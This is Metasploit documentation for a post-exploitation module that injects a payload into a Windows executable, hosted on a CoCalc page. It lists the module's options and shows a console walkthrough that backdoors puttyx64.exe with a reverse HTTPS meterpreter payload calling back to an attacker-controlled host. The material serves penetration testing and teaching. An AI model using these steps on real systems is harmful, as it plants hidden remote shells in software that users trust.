CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/post/windows/manage/peinjector.md
Views: 11789

Overview

This module inserts a payload into an existing PE file on a remote machine. When a user launches the binary, the payload will run as a thread within the process with the same privs.

Options

LHOST IP of host that will receive the connection from the payload. LPORT Port for Payload to connect to. OPTIONS Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD Windows Payload to inject into the target executable. SESSION The session to run this module on. TARGETPE Path of the target executable to Path of the target executable to be injected

Limitations

This process is not reverse-able. If you would like to return the binary to it's original state, save a copy.

THE PAYLOAD WILL NOT SPAWN AN INDEPENDENT PROCESS/THREAD AND THE SESSION WILL DIE WITH THE BINARY AND/OR WILL KILL THE BINARY WHEN THE SESSION EXITS. Be careful closing sessions that were spawned using this method!

If a setting is wrong, it may cause the binary to fail to launch, alerting the user to possible shinnanigans.

Vulnerable Application

Vulnerable is a bad term; this module inserts shellcode into a pe file. That means any Windows pe files are vulnerable. Be aware that some files like calc.exe on later Windows versions are not entirely normal in their behvior and are not vulnerable

Verification Steps

  • get session on target

  • use post/windows/manage/peinjector

  • set payload <payload>

  • set lport <lport>

  • set lhost <lhost>

  • set targetpe <*.exe>

  • run

Usage

meterpreter > sysinfo Computer : WIN10X64-1511 OS : Windows 10 (Build 10586). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > use post/windows/manage/peinjector msf5 post(windows/manage/peinjector) > show options Module options (post/windows/manage/peinjector): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes IP of host that will receive the connection from the payload. LPORT 4433 no Port for Payload to connect to. OPTIONS no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD windows/meterpreter/reverse_https no Windows Payload to inject into the target executable. SESSION yes The session to run this module on. TARGETPE no Path of the target executable to be injected msf5 post(windows/manage/peinjector) > set lhost 192.168.135.111 lhost => 192.168.135.111 msf5 post(windows/manage/peinjector) > set lport 4561 lport => 4561 msf5 post(windows/manage/peinjector) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf5 post(windows/manage/peinjector) > set session 1 session => 1 msf5 post(windows/manage/peinjector) > set targetpe 'C:\users\msfuser\downloads\puttyx64.exe' targetpe => C:\users\msfuser\downloads\puttyx64.exe msf5 post(windows/manage/peinjector) > show options Module options (post/windows/manage/peinjector): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.135.111 yes IP of host that will receive the connection from the payload. LPORT 4561 no Port for Payload to connect to. OPTIONS no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD windows/x64/meterpreter/reverse_https no Windows Payload to inject into the target executable. SESSION 1 yes The session to run this module on. TARGETPE C:\users\msfuser\downloads\puttyx64.exe no Path of the target executable to be injected msf5 post(windows/manage/peinjector) > run [*] Running module against WIN10X64-1511 [*] Generating payload [*] Injecting Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) into the executable C:\users\msfuser\downloads\puttyx64.exe [+] Successfully injected payload into the executable: C:\users\msfuser\downloads\puttyx64.exe [*] Post module execution completed msf5 post(windows/manage/peinjector) >